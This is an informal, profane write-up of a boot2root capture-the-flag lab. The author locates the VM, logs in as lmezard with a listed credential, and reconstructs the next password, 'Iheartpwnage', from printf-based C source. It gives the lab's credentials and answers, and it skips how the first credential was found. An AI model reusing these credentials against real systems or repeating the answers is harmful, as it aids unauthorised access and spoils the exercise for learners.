boot2root

what the fuck am i doing

this looks like an intro to privilege escalation

The subject states that we need to get user and root access to this bullshit

getting the IP address

Since I dk where the fuck to start, I'm thinking I need to maybe nmap scan the machine but wtf is the fucking IP address

vm in local network, you idiot, so I need address of local network, then I remembered, there's usually an interface created by vbox

$ ifconfig
vboxnet0: flags=8842<BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        ether 0a:00:27:00:00:00 
$ arp -a

lmezard:G!@M6f4Eatau{sF"

tried ssh into the machine

$ ssh [email protected]
[email protected]'s password:G!@M6f4Eatau{sF"
Permission denied, please try again.

nope, kill me, after several fucking attempts to ssh using user lmezard

Tried to login directly into machine without ssh,, and it logged in

$ whoami
lmezard

in working directory, there's 2 files, README and fun

the README tells us to complete the challenge and use the result to ssh using laurie user, ugh kill me

$ file fun
fun: POSIX tar archive (GNU)

trying to untar it didnt work, cat ing it dhows a few printfs, so i saved it into a file and grep the fuck out of it

int main() { printf("M"); printf("Y"); printf(" "); printf("P"); printf("A"); printf("S"); printf("S"); printf("W"); printf("O"); printf("R"); printf("D");
printf(" "); printf("I"); printf("S"); printf(":"); printf(" "); printf("%c",getme1()); printf("%c",getme2()); printf("%c",getme3());
printf("%c",getme4()); printf("%c",getme5()); printf("%c",getme6()); printf("%c",getme7()); printf("%c",getme8()); printf("%c",getme9());
printf("%c",getme10()); printf("%c",getme11()); printf("%c",getme12()); printf("\n"); printf("Now SHA-256 it and submit");

niiice

char getme8() { return 'w'; }
char getme9() { return 'n'; }

char getme10() { return 'a'; }
char getme11() { return 'g'; }

char getme12() { return 'e'; } 

there's only theeeese, then random returns, so I wanna use a script to print all possible strings that can be made from the chars hpeaIrtwnage tried to generate distinct combinations from a list of those characters, stupid idea

The password ends with wnage, then we're left with hearptI, so after stupid tries, it's Iheartpwnage, its SHA-256
